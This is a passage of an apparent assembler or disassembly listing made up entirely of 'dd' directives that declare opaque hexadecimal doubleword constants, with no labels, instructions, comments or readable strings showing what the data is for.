3CA4E300h, 0D02ADD7h, 504F8106h, 2511E9h dd 0A5B69B70h, 0C5B3F6B8h, 8E6F2F00h, 851BD380h, 896C03BEh dd 0CE82404h, 558D3300h, 0B8A7E6CEh, 60060E48h, 29C7502Fh dd 5A1DB95h, 0A8B4E95Eh, 7D207EA9h, 3FB04C0Dh, 128C14ECh dd 470E695h, 50C013Ch, 268071E4h, 30D8B60Fh, 43113E9h dd 37002B4Bh, 176883D0h, 70694B3h, 0B07C96F4h, 69740182h dd 486A62BAh, 8C18E8F8h, 0CC1B6C1Fh, 0E18BD1CEh, 16F19D89h dd 0F2E8C101h, 240BB50h, 0E2F73166h, 3C1CED12h, 0B8E7D036h dd 0DF008C15h, 8BF664Bh, 0E2605088h, 95A4E8h, 5A241A04h dd 3F5CB8DBh, 3A638600h, 56FB4DBDh, 0F35B0522h, 805F08F1h dd 5A5361BEh, 1C2E89E6h, 24DE1724h, 59EB9B7h, 4A47EEFh dd 0B73159F5h, 0D7226129h, 282C57F7h, 3BBC04D5h, 0ECC1B048h dd 0C0F98C1Dh, 26008366h, 321C6575h, 59BD0953h, 31510161h dd 0EAC04B1Ah, 10E8FE8Bh, 5D6417C0h, 0BA06E2h, 0FFCD0E30h dd 0B94945B7h, 99E6D816h, 2A3DD704h, 65085F09h, 1C465C3Ch dd 0AC2D3B0Eh, 0A88A3D81h, 870FCCCFh, 45700E4Bh, 193F55h dd 83679FC0h, 613CE631h, 0E1590F76h, 0BF24760Ch, 0B7A5A6F9h dd 34200077h, 952AD556h, 0F7A0ED08h, 1D9D0853h, 880F5E04h dd 2560BB89h, 4C024135h, 0A790F5C6h, 1B448687h, 6BD22260h dd 38A3E505h, 0BAC7C462h, 2499A808h, 0BECE7422h, 1B028D98h dd 0D092F98Bh, 0D2DF8102h, 9657A50h, 8AD23628h, 40ABE958h dd 9962B7D6h, 244BBF00h, 220A5CF5h, 0F9B2D47h, 4236D424h dd 4A219D29h, 26B37989h, 1DE50999h, 14A95AC8h, 599C7882h dd 3C3E47FCh, 0E7745DAh, 88D98F01h, 0EDB8C01Ch, 847D6F05h dd 0BDDA4907h, 7C109ABFh, 5985311Ah, 114FDF2Dh, 0EFAC32A0h dd 943AA807h, 87D2084Fh, 0ED72408Ah, 0C49AB42Eh, 19DA359Bh dd 0E4CBF080h, 113BDE3Fh, 9057ACE6h, 0B8B65BC5h, 0C22C17E0h dd 37D00B01h, 11A98D09h, 6E4AB969h, 89100207h, 0D12DF595h dd 561A44D5h, 0E9F7FE02h, 80C52F20h, 8E06040Ch, 1C055306h dd 46A52EE9h, 0A6E85F47h dd 15F50B3Ch, 660BA546h, 981788BEh, 0E688F33h, 0D91DF463h dd 67455D22h, 6CE1D5E1h, 3F950425h, 0FC8E55A2h, 5CCB1888h dd 30F80C7Eh, 0C5A19AAh, 0F7B69B34h, 0FE0F62A0h, 0D223AD05h dd 93A341C2h, 0E99244C8h, 5BE6ADD0h, 22800037h, 0D1195ED5h dd 0AE0BCBA2h, 46A784B0h, 0D177997Eh, 0FB181Ch, 82CDE301h dd 0F692B4BBh, 140BD490h, 32741C07h, 0E0A14D79h, 916E136Bh dd 4514ADE0h, 22F60BB7h, 66600409h, 0C06DC5BBh, 361C3D6h dd 1141ADB8h, 90AAD36h, 92C46D9Dh, 23E83A90h, 0E7A31414h dd 4510A527h, 3D4E84CFh, 3469F420h, 4D6800E9h, 66C229F8h dd 780FA87Dh, 5E827E88h, 5FFB8B04h, 1488038Eh, 0C0C36FC4h dd 0F219EC91h, 0F2C626F7h, 713C6287h, 32F58A61h, 90FB142Bh dd 7F8C19E8h, 4DD2010Eh, 9D31E3EAh, 31F62561h, 3B91396Ch dd 6175380Bh, 8F0FFC0Ch, 0BF85AA3Ch, 0BCA2FAh, 38F3F449h dd 8F659D2h, 9B6F2262h, 0CF010D09h, 345340B1h, 3002C2DBh dd 6735B366h, 52E4E9h, 7DCF91B7h, 9F4124D7h, 83BDFE3Fh dd 2BAE847h, 0D0C6B2E4h, 44BC87E7h, 5FCA6019h, 284CE6A8h dd 2FE7517Bh, 252217F1h, 5E052F1Dh, 3360C34Ah, 217465Ch dd 53C03D11h, 0FCF8C360h, 2E23B920h, 61D85CC0h, 0B4818D89h dd 1CCE3EFEh, 0D1FDA918h, 611818h, 63D40DA7h, 8D21FDB0h dd 8B06155Eh, 2010DE8Ah, 8B5414D5h, 117600Eh, 640119Dh dd 0DD82E681h, 613F2EE3h, 396AA4C3h, 3CD0F8C4h, 386E4B24h dd 8463F804h, 1D7981A8h, 35540413h, 35BDC688h, 60612DA5h dd 0C02C337h, 60BF8375h, 0F094E181h, 93BAA37Ah, 74FF6420h dd 0E8E9490Ah, 0AA8A10Fh, 61812CACh, 0F98A62CCh, 0B45A482h dd 443CBA01h, 68125F8h, 4A4014E8h, 5959221Ah, 0E26E4A7Eh dd 0E3DF2D01h, 558BBF53h, 1A51A137h, 1F7269CAh, 821511F1h dd 0A6F57B54h, 9C1F2E2Eh, 6605DC5Eh, 870F501Ch, 0D483A824h dd 5EB7C1CEh, 5112B8FCh, 570BEBC1h, 43C01788h, 9A32609h dd 31B59523h, 0B9599F3Ah, 69089200h, 6F312Ah, 6BF5AD30h dd 0B1611256h, 4275C505h, 0D817276Ch, 187D6D4h, 18192964h dd 4E75256Dh, 0C31B88C9h, 0DF8233Fh, 0E20BB9E3h, 88DF808Ah dd 86A03886h, 0BDA6FFEAh, 3C800B44h, 96F4FEE7h, 44B68509h dd 514A498Bh, 0CAA40B71h, 150A2108h, 2725285Bh, 1AC4DA47h dd 4BB3DC60h, 0DDA80800h, 55D4BEAFh, 0DE51510Fh, 0CCB8492Dh dd 0D789B22Bh, 9C000911h, 615CFA72h, 4328F9DBh, 0E124C18Bh dd 467C6C20h, 0DC9B0016h, 87ADBBE2h, 527B62D3h, 111F1E71h dd 117E801Bh, 0A57AF06h, 52F3CC98h, 1AC702E2h, 58A78B5Fh dd 0FA04CF53h, 96ECB5Bh, 2D0D9D23h, 4904345Ch, 2EE01FE6h dd 74EC2DC9h, 330B230Eh, 223A55FAh, 7DBF0505h, 12713C4Bh dd 0E046E6DEh, 58A48B17h, 42549333h, 8229EDC7h, 0D56FD2h dd 5490E3EEh, 3CD6A24Ah, 0F1DAACAh, 0BA6641B7h, 3A61F4C6h dd 0F814036Eh, 0BA8083E8h, 892A115Ah, 0F73C4998h, 0EB5B0192h dd 0E99D6107h, 786224A3h, 9D009480h, 6CFCF90Ah, 79AE719h dd 840DC681h, 0A6EDC9CAh, 0EB309DC0h, 1D720051h, 8BE0D3B7h dd 754AE9C1h, 0D88CC020h, 10659CA8h, 0FF018135h, 0E93845B5h dd 0A0858D03h, 0C4B7EDAFh, 7176C1D0h, 0FE8B002Bh, 0CEF18C1h dd 20043C68h, 28FAEDCh, 0E00D4B57h, 0A095FF7Fh, 0C232E91Ah dd 4585C66Bh, 5600195Ch, 0C530DF68h, 8D7EC4A9h, 85FF6923h dd 23A90E0Bh, 6D6A5073h, 6E4A7Ch, 0C1C36112h, 0EB06E000h dd 0E09104Bh, 0C53C1E2Fh, 0ACDA001Ah, 0D2D41CA4h, 0E4705C71h dd 3134CE07h, 27501BF5h, 0F2D129B3h, 0C7DD075Bh, 0CF17E62Ah dd 6743DFCFh, 3E85A6DBh, 41280001h, 7DD427E6h, 0E9C30B72h dd 78100EA4h, 420228DFh, 0BD8357B7h, 962AD0D1h, 43381A12h dd 7DCF556h, 20E95C42h, 99C06041h, 0B850CA8Bh, 952A034Bh dd 0C230D20Dh, 0DAEF8F04h, 0C08B2540h, 0C4C01B4Dh, 31F39615h dd 0D9D058C2h, 9751113h, 2EE51288h, 508C749Fh, 6EB86E53h dd 8D0084D0h, 0ECDBC99Dh, 5B3E8295h, 111CB158h, 161A3204h dd 29E90939h, 0E08107C6h, 59AFE4F6h, 0C2F195F4h, 45FAF371h dd 2C5F00A7h, 7F61D8CAh, 9E772A16h, 7F8B288h, 0FC12B395h dd 0ED57E05Fh, 6B01429Ah, 0B9660875h, 67208F5Ch, 0EE491383h dd 0E07BB605h, 87EAA07h, 0F20ECF4Ch, 0CA292Dh, 9CF8915Ah dd 5250162Dh, 53334460h, 13DEBC59h, 35B62404h, 78F3B0E3h dd 0CC9714E8h, 40CA56D9h, 88554B0Dh, 41F5C01Dh, 1400EFFEh dd 2E6E86D0h, 0B080B6EEh, 24DD207Bh, 0BAC69060h, 1261D55Bh dd 0C98F0F50h, 92E0F098h, 0E8FE904Ch, 8E008C1Bh, 0FBA440FAh dd 9CE3C52Fh, 8B71406Dh, 941DD96Eh, 6BC076E4h, 316026B2h dd 15552A8Dh, 0CAF304B7h, 0A84007BDh, 22DD2D79h, 74B58D23h dd 1E6A1DDh, 121F28D1h, 6B6F3067h, 48569DAAh, 29160615h dd 14D1A708h, 78C41B18h, 56A40711h, 8F65D17Fh, 668D77BDh dd 905FF9AAh, 2F3D3723h, 32F162B7h, 8189475Ch, 63669A0Ch dd 6E544B34h, 4C5201C7h, 35616EE3h, 383F9B34h, 0FFD86070h dd 0F08AD00Fh, 0EB8531C7h, 62F6ADAEh, 0CE534738h, 72DBF073h dd 0B9830CAFh, 6162D6C2h, 846C3041h, 88E8F164h, 0A712D246h dd 0B905D49Ah, 0F0A250CAh, 0E6A3EB00h, 4FD94B22h, 0B8190701h dd 39309B7Ah, 4A1044CAh, 0D18523E9h, 21F3C0CFh, 0A600B95Fh dd 0C0C63281h, 7318942h, 4675E10Ch, 3B630A8Bh, 0C558CE14h dd 0A71BB918h, 164199B5h, 6E4FB536h, 0BFDF0147h, 71E5B38Dh dd 0DB4ED666h, 2CD80A8h, 0B0D1BF0Fh, 0D1C591F6h, 4971818h dd 1261552Eh, 5112B4E8h, 1F07F500h, 7FE656D7h, 205A90D9h dd 71902515h, 2A0C14A1h, 1923E43Bh, 18AB4000h, 591F5B8Eh dd 92C75F5h, 46CC64DDh, 121A8A60h, 69331DBDh, 0A959294Ch dd 96E9E5FCh, 3FE7408Bh, 8F384A7Bh, 93CF8087h, 39FD9568h dd 0D78B1343h, 4DF90181h, 2946D5B8h, 97B85Ch, 0C5704633h dd 0C0A7BE8Eh, 880F1D14h, 0D9795023h, 0AD3F3293h, 0C76A188Ah dd 711B93B0h, 24091814h, 20197EB5h, 0E42997EBh, 6FCB0B01h dd 25EF4492h, 90851FC7h, 0B6824F1Ch, 11D90801h, 0A5B888B1h dd 56EC2542h, 0CB381397h, 0FA90B8ECh, 44A70EF2h, 0F040A6E5h dd 1181F75Ch, 3C3C68F4h, 0BAB2AAFBh, 2E71FD09h, 11409D21h dd 0C7A7801Dh, 5890EB4h, 0EC67A255h, 0FF7780A4h, 0E891FC5Bh dd 11169749h, 0E4388117h, 548A498Ah, 0C9CF1B2Fh, 57722389h dd 0BED1B782h, 3B40361Ch, 0B80495ABh, 0F09000BFh, 23268951h dd 292E15FDh, 4026879Dh, 0D230B145h, 5A904F1h, 936D7DBAh dd 6CB5625Fh, 0CF707E5Bh, 2B9A3F2Ch, 88B99905h, 378D0E9h dd 31BE459Dh, 7BDD6801h, 0D8F59238h, 0F4A6CE50h, 0E74858CCh dd 8AEB1D31h, 0D4882CEFh, 0CDE13437h, 39698F07h, 0DD9D0FC8h dd 0B4059250h, 7A0B0121h, 85BA2F6Fh, 0D24B659Dh, 251C4431h dd 566D046Ah, 0F36260CFh, 16A867EEh, 7663E2h, 0FA68D382h dd 312D6573h, 0F0091B60h, 3D08B95h, 24348161h, 264B63FAh dd 0A30BEF6Eh, 0EC140B3h, 4166020Fh, 8263AA01h, 0F7800269h dd 349C35B9h, 64505C2Dh, 0BDFB0112h, 0A92B75C4h, 9B52F2FCh dd 26FF300h, 2D1BBB47h, 0FA4F5C8Ch, 0F69FC900h, 310F5250h dd 5B585A1Ch, 7C4C976Ch, 0E0BA7814h, 9D2F52B5h, 5EF8C84Bh dd 0A4954B00h, 24854FEh dd 85B813DAh, 0E24E1DBDh, 5AFB8B30h, 55D99D23h, 6F3BD012h dd 0DC7A019Dh, 0A9831F93h, 40B54030h, 0C998FF32h, 5273D7AAh dd 4F0F8070h, 0F8BF8C86h, 7B453690h, 5EC0285Bh, 5F92BFAAh dd 2291E008h, 53FE0F7Ch, 0D18588F2h, 0ABD5B103h, 88706B1Fh dd 4AE7344Fh, 8C91845Ah, 7E003B0Eh, 5D2C2853h, 1FB3DFAh dd 8D140AE6h, 2225F004h, 0E6B3C613h, 430644B6h, 6C661304h dd 0E49280CBh, 40F89B5Fh, 4B0FF710h, 84D5389h, 0DB801222h dd 873A0D05h, 0D3170088h, 36C789C0h, 0DD02CE1Ah, 5A453465h dd 588A9159h, 8E001C73h, 0E428FB8Fh, 690B46BAh, 4905AA8h dd 44540E0Fh, 8634656h, 0C7E6160h, 0AC12A398h, 0BAD390D8h dd 6A59F0D7h, 8D89130Bh, 0BB3C8079h, 1126882Eh, 4812293Eh dd 0DDBD01D0h, 9E50811Ch, 0F0836066h, 6661DEB0h, 6CDF526Ah dd 2928E194h, 601364B1h, 0E6F4088h, 88826828h, 6E2EEE20h dd 870574C6h, 830FF792h, 0DFC0AF4h, 52B58D61h, 0B2C83382h dd 0D46A301Bh, 0FD84D600h, 8B6D13C0h, 95312ACAh, 4CCBF266h dd 0DB4A3E89h, 80AE895Dh, 9E17AD35h, 7B470942h, 2AB062B3h dd 0E10584BAh, 0DABFA2BDh, 0F88A9E05h, 0DE99A06h, 0D6DB0725h dd 10AF2E11h, 923AB6E6h, 71EDCC14h, 8B404BA9h, 23E4D281h dd 0B01C51BAh, 6F6B2565h, 31BF5148h, 0A26C330Fh, 0F5BF3116h dd 0CC203B9Ah, 16C279h, 22D0307Ch, 12CAAE05h, 0CAA4D1Eh dd 0FC8A4080h, 99B58B59h, 2D3B2809h, 0C3A6205Dh, 61B41973h dd 417467Eh, 84FDE05Bh, 0A499C684h, 2D809E30h, 4161207Eh dd 8359A431h, 26149D08h, 68F084Eh, 651CAFA6h, 20462522h dd 510C25B7h, 41356694h, 0FB726B2Ah, 15DDF99Dh, 93D8277h dd 0B9027DA7h, 81FB4BE9h, 28DAFD8h, 0F0E81D7Dh, 0C56D4019h dd 952760E0h, 5AE30058h, 66B096C0h, 82128FB9h, 54823880h dd 9889F8CEh, 134CB1C1h, 48AA20E9h, 7365F680h, 0C20A5C30h dd 5FCF591h, 0F7C5CBEFh, 52A720E9h, 8619A21Ah, 2F669BA8h dd 55D95E02h, 0A61816F1h, 3BDA3014h, 530DD2CEh, 6E2BEB96h dd 84FB1C20h, 8C08E613h, 0A6858908h, 691CE500h, 291287D6h dd 0D4521BDh, 27C74061h, 0E483EFB3h, 65539AF5h, 0BF430F86h dd 70229967h, 0EE715390h, 0CEC44000h, 82A327h, 0A6574D41h dd 2190F607h, 6595E24h, 48001311h, 5AD703CCh, 0DD00EB4Ch dd 4A875C60h, 717B5F13h, 78B3BAAAh, 819000B2h, 48B9D3D7h dd 0E69E0344h, 0C6A3E64Fh, 70FDBB50h, 0AB12C5A7h, 0C3DB58AFh dd 7801CE8Bh, 352BC7BFh, 5F6E3B9Dh, 6F437D00h, 0FF4EB6D2h dd 8845B55Ah, 0CC89800Fh, 8A033220h, 8BFE1870h, 0F21B1897h dd 0D8804C9Ah, 763D6F2Dh, 36EFB080h, 2C3FFC72h, 9C19066h dd 122E0DBDh, 0D0C185C5h, 0C00B61E1h, 7B5BC990h, 5DB14321h dd 0DC0674F6h, 4CED3E34h, 8701D498h, 776016E4h, 2298C1A2h dd 578AB102h, 0E1E5E380h, 4672957Eh, 49DEE924h, 0E8ACF179h dd 0D8341260h, 7F68001Bh, 66FC6B2Bh, 64019F47h, 61759DE1h dd 4B1006E9h, 0CB039996h, 0C6818DBFh, 80C1001Ch, 0EEE9D4E2h dd 76E3FFFCh, 6AB4F034h, 0D1DA03B5h, 8174B97Dh, 945C07D0h dd 2B32644Ah, 0C03ACA80h, 9429B504h, 20BAC1Eh, 988621B9h dd 0F5313041h, 3CFE61F8h, 1808D2A1h, 3EA28007h, 168FD1Ch dd 2691FCBAh, 1E254E80h, 25573BB2h, 9249814h, 95F3C161h dd 0D3207FA9h, 0B2E99D8Bh, 0EA72A24Dh, 32B755D8h, 800C9A00h dd 907D21E1h, 0B5E3107Eh, 9B112F1h, 45A083E7h, 0F09521Eh dd 1B8BDAB7h, 30E8F442h, 595F3020h, 50D912C1h, 8004D73h dd 8909DC58h, 6807BA8Eh, 26DEFAE4h, 2E9D5061h, 90055C28h dd 0D5A18D23h, 281E305h, 976DC9BFh, 956C54h, 8611FEABh dd 600E2DDDh, 3642A700h, 3B6787AFh, 0DF1D12CAh, 0FCFE8853h dd 0F3503000h, 690C39D4h, 66830326h, 0C498DFDCh, 317C1FA9h dd 5B25C2E7h, 3E6986F5h, 0C404A7B8h, 60E12F17h, 0B1B515C0h dd 3922840Ah, 0D0B9072Ah, 6B7848E9h, 801297E6h, 1CC18EC5h dd 8D82F298h, 0F18D2960h, 0BB72048h, 5D082BBEh, 88331D07h dd 0C0972D4Dh, 8214D7E0h, 30D0BAFBh, 2F448DDCh, 0B896E975h dd 0CDFF8FAh, 2A2D2CC8h, 0E912809Ah, 0C533581Bh, 0F93DD887h dd 0EDB009CDh, 0FCA708C2h, 34BD16D7h, 29880F25h, 40C2560Ah dd 0C33BCE10h, 4C530201h, 28011E92h, 28DA8930h, 44C75B63h dd 75EE8997h, 1449034Ah, 60F5A67Dh, 0A0DE106Ah, 2211485Ch dd 0B5A1000Ch, 0C389F46Fh, 14E2FAC8h, 7B7BD24h, 0F5D8504h dd 2B99542h, 0ACD3342Eh, 38458619h, 0D799488h, 0F52BBF20h dd 17C4D9DDh, 0E4E12050h, 7B5018DAh, 24AD2489h, 307EB5F4h dd 0A3E4AFAEh, 13FDE900h, 3D33A4B8h, 0BD7003Ah, 93237C17h dd 5F0BF994h, 0F108D2E8h, 181AD934h, 20DF02B4h, 871D82A7h dd 62CC31E0h, 29BDBCCBh, 0DC2C5CC3h, 0CDE57506h, 0D541F64h dd 7DE8AFF1h, 0B83B69ABh, 0C8C0008Ch, 882C8571h, 0A6DE9A02h dd 0EDAFAC2Ch, 0DD68C253h, 0BA03C45Ch, 4F2CE8B3h, 7CD66EA3h dd 362873Fh, 0D7B0B2CFh, 29A21220h, 0B201A30Ch, 48CC301Dh dd 1CA60A00h, 43F0B2C5h, 0F1810270h, 62E30D3Dh, 1070041h dd 0E719529h, 0D8CAA849h, 0D4B7B5C5h, 367ED400h, 4E8B62F3h dd 0EC2235FEh, 160A2056h, 83CD8D09h, 7B2E8E1h, 16C44547h dd 218E7E60h, 6AB50B25h, 7864702Ah, 25099585h, 0F1BD3418h dd 1BAA5200h, 0CE02F412h, 0E4D250D5h, 435F01C4h, 45E85910h dd 0B9594207h, 0C944D056h, 8107D6A8h, 0F16B5CD9h, 5E2EE832h dd 39C69F5Fh, 206C53EFh, 0EE802EDDh, 154F5185h, 878057DEh dd 0D650C75h, 1E629A00h, 0EC5C4BB9h, 0BD8B1467h, 0CF85BE2Dh dd 0CA53B406h, 5DB5890Ah, 0FD0B791Dh, 8155BD0Bh, 0E86FCF33h dd 2865AE9Dh, 0EB5E00DCh, 0D7E96D97h, 98C8FEF0h, 69B187F5h dd 6061EDE8h, 20C4F078h, 9E9E2EADh, 0AF49AC0h, 0D700A3AAh dd 0CE4CCFFAh, 617D681h, 0E807DD41h, 949ED334h, 0C80C00DCh dd 6027451Dh, 0B45C4806h, 1109140Eh, 0ED69DBCh, 0A9A0C8E7h dd 790367B5h, 34EE6E46h, 25541074h, 0D5E81C13h, 0D07E73E5h dd 0D00500Ah, 0CF386657h, 4D8BFD1Ah, 0C20AAFBh, 314966A0h dd 699E6FC8h, 8040F54Dh, 39D937Ah, 0BDC2367Fh, 6C386CB1h dd 0F833583Dh, 83008C17h, 66B22767h, 304D8CBEh, 60A74BE8h dd 0D14D8D2Bh, 0CE81021Dh, 0E31D39D0h, 19781009h, 0FE332E1Ch dd 98D322h, 9D3B7EF3h, 93041623h, 72AEAE99h, 54ACFD9h dd 4C5405CAh, 2C7B00DCh, 69039EA6h, 0E6253B43h, 3D8106CAh dd 0E48007C9h, 0DBE861E9h, 296040A0h, 1054A5B5h, 0FBCAC1E6h dd 0D3A5E951h, 0CCEB7024h, 0A8457400h, 0EA601B50h, 0F88B17B8h dd 8D871929h, 0DD59C2B0h, 52885C00h, 0EA9C7A1Bh, 1B429512h dd 0DCF7F4h, 0DB5EC7A1h, 4CD976FCh, 25400158h, 230C5315h dd 0F507582Eh, 21495D01h, 8BCDDBD5h, 0DCB076EAh, 382E9002h dd 40C1FFC7h, 12BBFC2Eh, 0C4518D8Bh, 49138123h, 892B0Bh dd 4E822678h, 50DF1DB3h, 9D1B0123h, 0CE9EEB77h, 3D852A19h dd 91F5A883h, 0FD26D82Bh, 6A34BF0h, 1D7CD900h, 0BE297ED1h dd 5F7CE0h, 66BF5011h, 89724D36h, 5C9B1C4Fh, 2A467DC1h dd 4ED241F8h, 9D893B8Bh, 0B529D2Bh, 0C71988B0h, 0FD5F40C5h dd 0F250DF9h, 0B7AE483h, 5B94A3BEh, 2728373h, 0EA6995D2h dd 0DCF5F4A2h, 38396803h dd 1735EDA8h, 0A20CD950h, 1A891214h, 56B8CBFDh, 0DC4BF700h dd 0D0C71332h, 0FBB0BFB3h, 0AAA815BDh, 45B4289h, 4A81E2DBh dd 20E7D9B3h, 51D0F151h, 161738Ah, 3161BFC7h, 5BCDC8AFh dd 0FE13FBC0h, 355D04C9h, 0E8ADBCE1h, 1B76001h, 0A02C59BDh dd 0BB121D3Ch, 0E7E0D89Eh, 4E186B02h, 40A3087Ch, 0BA9C7510h dd 1B25458Fh, 0BB188065h, 0EA88726Ah, 0AA672C5h, 2305BD89h dd 20A24395h, 0F074D956h, 2BC3F92h, 0B54A913h, 8D9829B5h dd 0C1821589h, 62B8DB68h, 0A4DCCCE9h, 2A4B39DEh, 7EA86112h dd 3F9B0320h, 0A0B9F50Fh, 4076E0D0h, 67B49DF8h, 7E787E2Bh dd 43B4014Ah, 0AFDC9694h, 0A9EAB4CDh, 0FAE04FB6h, 132CBE62h dd 0FD0A9273h, 1542AC28h, 0FC60022Fh, 61561840h, 1A5E89E2h dd 3300B86Eh, 0E5847EB2h, 0CF4E8BE6h, 0C36CFEB3h, 1C537176h dd 321AE290h, 0B5A442B0h, 0F4BAB1DCh, 0C40A1E4Ch, 79C8870Fh dd 0D0B1E8h, 2D06AFCFh, 1324CA89h, 0A03B63DFh, 9E5F6403h dd 2DACF121h, 0BFB8DCh, 8BC9A41Eh, 0D15D0D26h, 2F03C39Dh dd 0F4C8E8F3h, 4500E339h, 0AFE1862Dh, 0BF93A978h, 59F5A918h dd 19E9D8CAh, 0EC9E1901h, 84CC472Dh, 0BF4935A3h, 0B8F1EDEBh dd 0C8250BA8h, 0DC81CABCh, 0AB0DE9FAh, 3D78877Fh, 0DC60E366h dd 0F1D10981h, 0DA536A63h, 968A078h, 65B501CAh, 264C5DADh dd 1D9F08Ch, 28C80F51h, 0B9C0EF4Bh, 7F33E31Ah, 115A6058h dd 0BE3F1399h, 6A618089h, 56DEF7F6h, 0F3F05402h, 9D005369h dd 6FF92FBFh, 7778E981h, 2370F72Eh, 0BC04ED19h, 7A578066h dd 69E02590h, 0DDD69E27h, 9C1400DCh, 0DA63E602h, 1A13AD7Fh dd 0E91F60D3h, 958B46C4h, 61CD42AAh, 33B5C58Ah, 5CA8F180h dd 9E604Fh, 1DE7A2D5h, 6FD9D09h, 42DFE495h, 25CD4082h dd 4FF88BB5h, 7694269h, 8DDE5C10h, 0FD422048h, 5948F3DAh dd 1D5B181Ch, 83394387h, 8975F290h, 0B5DEA10h, 6B9F91Dh dd 0CE22F5E1h, 0B6CCC69Dh, 0C0FE4E0Ch, 0B0505797h, 350F7576h dd 13442289h, 43027430h, 61C7014Ah, 8BECEACCh, 0D6487CDAh dd 46A2FDB6h, 91933754h, 2256B0C8h, 290013E9h, 0EF108D68h dd 0C19596h, 0F5B6EB2Fh, 1D195246h, 0FE302C70h, 6554D65Fh dd 9B055BEEh, 496780D9h, 71F3A68Bh, 835F1252h, 8035C6C0h dd 59909CC9h, 87003F1Dh, 85B434AEh, 6B7FB750h, 907B4C9Bh dd 500F701Dh, 4E2B2E80h, 89BC4E9Dh, 8044B1CBh, 0DCA894h dd 8D53CC2h, 87F21A02h, 10F53027h, 3489A30h, 0B964B798h dd 6412E4ADh, 0A8ED8D89h, 4ADDE34Eh, 42280C6Eh, 1E6920F2h dd 0C750CC4h, 8AC0F510h, 73C8321Bh, 6F5B7E00h, 0EC9613Ah dd 0BCF50184h, 24DC85E1h, 207DC68Dh, 0D780571Dh, 0FF5F170Ch dd 2047E3D1h, 0D9694501h, 0D0EF38Bh, 0F26AE3B3h, 0DB80289Bh dd 0AB99B6F7h, 0EB006FEDh, 9D03262Ch, 5F09439h, 5F576050h dd 28C9806Bh, 4204A732h, 8A9A2500h, 0B81C8BAFh, 163305E7h dd 805823A3h, 6152DD15h, 3EB0A892h, 0C0087529h, 26163D08h dd 0E9093CACh, 50F40E41h, 80655E58h, 2627BB66h, 703A7BDAh dd 0B72ED387h, 1A326521h, 3E7F56EAh, 9FBDB77Eh, 46E0809h dd 0A1500574h, 4E2CF09h, 0ED83A7F9h, 809F03D4h, 90D88BABh dd 0F689822Eh, 0CC00DC7Ch, 0E20E3F14h, 5C1F4D19h, 81218A9Dh dd 0FF64F803h, 4E28435h, 0D345975Eh, 164B2589h, 0BEA006F7h dd 3E0184D9h, 0DC27E18Eh, 0CC3EF94Eh, 3C24B33Ah, 0ED088957h dd 6A5B0102h, 0CDFD8AFFh, 22562AB5h, 0D93CA06Fh, 0C44AED4Ch dd 1006EA80h, 0A0691E09h, 8014492Ch, 3BC0F4E9h, 1CB36FBBh dd 94B07067h, 260C1066h, 8B1C54E6h, 71E42722h, 0D5526C5Ah dd 0A19D08A0h, 0B6123E31h, 11BEECC8h, 0FC0906BAh, 0AC82C18Bh dd 0E1791DA5h, 0E09BB309h, 278D09D0h, 8CCE306Dh, 0DCEF8107h dd 2BE296FEh, 9DD682C8h, 0D1CB0E05h, 0C454671Ah, 630DA441h dd 74117C60h, 49854F50h, 0F183F54Fh, 0CCE0BF07h, 10DC70F9h dd 31856125h, 3B61D050h, 16E2C8D0h, 3A6CBB81h, 92306357h dd 0E9EDC5C1h, 0EB530354h, 4BFAD117h, 23831857h, 0FC1259Dh dd 848D0CD9h, 82373439h, 5E66C84Bh, 1D0FD705h, 0AE40F2h dd 96A35B99h, 0CA0AA421h, 30A583A0h, 0C781FE00h, 278F3F58h dd 0C490891Ah, 7D7ABD01h, 5225DDCh, 0EEDBB58Dh, 0BCE8FDEDh dd 0B8F71C2h, 9C92EAF2h, 25003AD1h, 3679F764h, 733B014h dd 512E1B66h, 3935D03Fh, 0CDB56AC3h, 7601E0E3h, 1713A914h dd 25208A0Fh, 251ACABBh, 0CCF93248h, 7780F4A8h, 64FF7B9h dd 68A027B7h, 500AA3BDh, 0E0D4F380h, 0D40EFC16h, 977710F9h dd 0ABC2BCEDh, 5C6380E8h, 9070A497h, 75BD11D4h, 110E5023h dd 85B803E3h, 88066B8Ch, 0B954B501h, 11A2BAF7h, 0F873865Bh dd 7D9FE5CFh, 0ADEF0632h, 46D1C233h, 0E983D01Eh, 2EF475CAh dd 216465Ch, 0F115843h, 10B8668Dh, 7C2CB99Dh, 4E218822h dd 7DA260h, 685A7BAFh, 14A1F84h, 0B79EF21Bh, 0C558C49Ah dd 70882F5Fh, 6ADEC33h, 0D617154h, 0B7BD1788h, 0AE7F0099h dd 541C07DCh, 8B2FB304h, 0DBACDD95h, 80159B4Bh, 418ACC01h dd 97C3285h, 62959FAh, 9B5DCD14h, 30BF79D9h, 55208DAAh dd 7276900Ch, 3183EC2h, 2A1D08EFh, 5819C9E4h, 77F5B486h dd 7F9C10B7h, 0B5860FB9h, 47C1CB2Eh, 2B826F73h, 7F09EA6Eh dd 0DB04FE5h, 0F5005614h, 0F8051CE6h, 0FE0BEB1h, 4FC7C806h dd 0E382C5EBh, 0F8090819h, 977F7065h, 73092B3Dh, 900F62Eh dd 0A13A1405h, 3707D7Bh, 0FBB70935h, 0C23252B0h, 31714760h dd 90B8FB9Eh, 0BB024C21h, 29FC4830h, 0F707CD74h, 0D84036A8h dd 1EFD271h, 0E1FF612Eh, 6405BD23h, 0E7A0517Ch, 51D00271h dd 25F5108Ch, 790455C6h, 0B719D10h, 7F48E927h, 0C03D17FFh dd 852F38ADh, 5F0D68A9h, 32E28C0h, 70AA2979h, 2201102Ah dd 2FB79D46h, 3BC4F01h, 949A9247h, 3313CB75h, 0DD860FF8h dd 1A7A2EE9h, 0D36D3100h, 0A69FB9D6h, 945F2Dh, 7757BF36h dd 601C2858h, 2E69279Eh, 5125B3D1h, 3AAD0053h, 91279CA7h dd 48CE9F00h, 7AD3F14Ch, 1FCC00E4h, 676AFE42h, 0E12680FCh dd 0D438C604h, 0C9500AB0h, 1410894h, 40291560h, 8D253116h dd 338CE1A1h, 0DB2C35F1h, 0B83D44h, 0F375FC30h, 538BC46Bh dd 7DDFA700h, 7CA2A827h, 5EBB091Ch, 79445067h, 0D978579Bh dd 3E6027AFh, 0BCFCB7E0h, 3988F55Ah, 1F0338FFh, 4FC3FA48h dd 0A2C01E6Ah, 4709E333h, 87395C32h, 632DFB22h, 890ADB20h dd 2A307B60h, 0E761D68Bh, 13FDC460h, 2526EF7Dh, 80F9FC57h dd 6C724615h, 365B1D37h, 0BD3A3056h, 739625EDh, 0CFC40D93h dd 82B81FADh, 54E3E633h, 0FC14EC85h, 0EDD9E00Ch, 515DB50Ch dd 0C2E90BC0h, 0D09F7B01h, 0F1055927h, 